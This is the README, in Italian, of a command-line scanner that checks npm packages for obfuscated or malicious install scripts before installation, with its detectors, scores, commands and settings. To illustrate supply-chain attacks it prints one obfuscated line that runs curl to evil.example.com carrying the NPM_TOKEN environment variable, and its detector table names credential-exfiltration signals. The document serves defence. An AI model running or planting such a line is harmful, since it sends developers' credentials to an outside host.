
Analisi statica della sicurezza per pacchetti npm. Rileva codice offuscato, pattern dannosi e vulnerabilità note prima dell'installazione.
npm ciZero dipendenze. Solo componenti integrati di Node.js. < 100 kB una volta scaricato.
npx np-audit scan express
npm install -g np-audit
npa scan # scan all deps
npa install # audit then install
alias npm='npa' # use as drop-in replacement
Il rilevamento è suddiviso in marshaller modulari — ognuno rileva un singolo segnale di attacco:
| Marshaller | Cosa rileva | Punteggio |
|---|---|---|
eval/dynamic-exec | eval(), new Function(), eval indiretto, vm.*, setTimeout con stringa | 8 |
obfuscator.io | Pattern di denominazione delle variabili _0x (output di obfuscator.io) | 9–80 |
high-entropy-string | Stringhe lunghe o catene di concatenazione con alta entropia di Shannon | 6 |
hex-escape-density | Sequenze di escape dense \xNN e \uXXXX | 5–50 |
fromCharCode | String.fromCharCode con molti argomenti, grandi array decimali di codici carattere | 7 |
encoded-decode | Decodifica Base64/hex (atob, Buffer.from) opzionalmente combinata con eval | 3–8 |
child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 |
hex-array | Grandi quantità di valori letterali hex 0x | 7–60 |
process-env | Accesso a process.env (segnale di esfiltrazione di credenziali) | 3 |
network-call | require('https'), fetch(), dns, net, tls | 4 |
filesystem-manipulation | fs.writeFile, chmod, symlink (persistenza di backdoor) | 3–4 |
runtime-download | Scarica ed esegue runtime esterni (Bun, Deno) | 9–50 |
I punteggi scalano in base alla gravità — un numero maggiore di indicatori di offuscamento produce punteggi più alti. Il verdetto finale si basa sul punteggio individuale più alto tra tutti i marshaller.
Vedi CONTRIBUTING.md per informazioni su come scrivere marshaller personalizzati.
Ogni pacchetto scansionato viene verificato rispetto ai database di vulnerabilità note insieme all'analisi del codice.
Predefinito: OSV.dev (nessuna configurazione richiesta)
Funziona immediatamente — interroga la API gratuita OSV.dev per vulnerabilità note e advisory di pacchetti dannosi.
Opzionale: API Snyk (dati più ricchi)
# Environment variable
export SNYK_API_TOKEN=your-token-here
# Or via Snyk CLI
snyk auth
Ordine di risoluzione del token: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| Gravità | Punteggio | Verdetto |
|---|---|---|
| Pacchetto dannoso | 80 | DANGER |
| 10+ vulnerabilità | 6 | WARN |
| 5–9 vulnerabilità | 5 | WARN |
| 1–4 vulnerabilità | 4 | WARN |
Le CVE non dannose producono avvisi ma non bloccano mai l'installazione. Solo i pacchetti confermati come dannosi attivano DANGER.
| Comando | Alias | Descrizione |
|---|---|---|
npa install [package] | npa i | Esegui l'audit e poi npm install |
npa ci | — | Esegui l'audit e poi npm ci |
npa scan [package] | npa s | Solo scansione, nessuna installazione |
npa config get | npa c get | Mostra la configurazione corrente |
npa config set <key> <value> | npa c set | Aggiorna un valore di configurazione |
npa alias --install | — | Installa alias di shell |
npa alias --uninstall | — | Rimuovi alias di shell |
Qualsiasi comando non riconosciuto viene inoltrato a npm (ad es. npa run test, npa publish).
| Flag | Alias | Compatibile con | Descrizione |
|---|---|---|---|
--review | -r | install, ci | Modalità interattiva — scegli quali script consentire |
--json | — | install, ci, scan | Output JSON leggibile dalla macchina |
--no-dev | — | install, ci, scan | Ignora le devDependencies |
--verbose | — | all | Mostra lo stato di avanzamento del download e dettagli aggiuntivi |
--version | -v | — | Mostra la versione ed esce |
--help | -h | — | Mostra l'aiuto ed esce |
--reviewnpa install --review
npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] [email protected] postinstall: post-install.js OK
▶ [✗ deny ] [email protected] postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/[email protected] postinstall: install.js WARN (score: 5)
2 allowed 1 denied
La configurazione è memorizzata in ~/.npmauditor.json (globale) e può essere sovrascritta per progetto con .npmauditor.json.
npa config get # Show current config
npa config set blockScore 6 # Block at score 6+
npa config set skipPackages '["esbuild"]' # Trust specific packages
npa config set skipScopes '["@types"]' # Trust entire scopes
| Chiave | Predefinito | Descrizione |
|---|---|---|
blockScore | 7 | Soglia di punteggio per DANGER (uscita 1) |
warnScore | 4 | Soglia di punteggio per WARN (uscita 0) |
registry | https://registry.npmjs.org | URL del registry npm |
timeout | 30000 | Timeout delle richieste HTTP (ms) |
parallelFetches | 5 | Download concorrenti |
skipScopes | [] | Prefissi @scope da ignorare |
skipPackages | [] | Nomi di pacchetti da ignorare |
silent | false | Sopprime l'output quando non vengono trovati problemi |
scanSelf | true | Scansiona gli script di lifecycle del proprio progetto |
maxTarballSize | 50MB | Dimensione massima del tarball estratto (protezione da bombe) |
checkVulnerabilities | true | Verifica i pacchetti rispetto ai database CVE |
deepResolve | false | Risolve l'intero albero delle dipendenze transitive |
disabledMarshallers | [] | Nomi dei marshaller da ignorare durante la scansione |
Puoi disabilitare specifici controlli di rilevamento aggiungendo i loro nomi a disabledMarshallers:
npa config set disabledMarshallers '["process-env", "network-call"]'
Per vedere tutti i nomi dei marshaller disponibili e il loro stato attuale:
npa config marshallers
Questo è utile quando un marshaller produce falsi positivi per il tuo flusso di lavoro. I marshaller disabilitati vengono ignorati completamente sia durante l'analisi statica del codice sia nei controlli a livello di pacchetto.
Usa npa come sostituto trasparente di npm:
npa alias --install # adds: alias npm='npa'
source ~/.zshrc # reload shell
Ora npm install e npm ci eseguono la scansione automaticamente. Tutti gli altri comandi npm (npm run, npm test, npm publish) vengono inoltrati invariati.
npa alias --uninstall # remove the alias
package-lock.json (v1/v2/v3) oppure risolvi da package.jsonnode_modules)&&/||/;/|, gestisce node -e, sh -c, script di shellrequire()/import da ogni punto di ingresso (rilevamento dei cicli, limite di 50 file / 5 MB)Gli attacchi alla supply chain abusano degli script di lifecycle di npm. Quando esegui npm install, qualsiasi script preinstall/install/postinstall viene eseguito automaticamente. Gli attaccanti nascondono i payload dietro l'offuscamento:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
Incidenti reali:
npa non esegue mai script. Li scarica e li analizza staticamente.
| Codice | Significato |
|---|---|
0 | Tutto pulito o solo avvisi |
1 | Uno o più pacchetti bloccati |
MIT
vscode-autorun |
Task di VS Code con runOn: folderOpen (auto-esecuzione) |
| 30 |
known-vulnerability | CVE note tramite API Snyk o OSV.dev | 4–6 (WARN), 80 (dannoso) |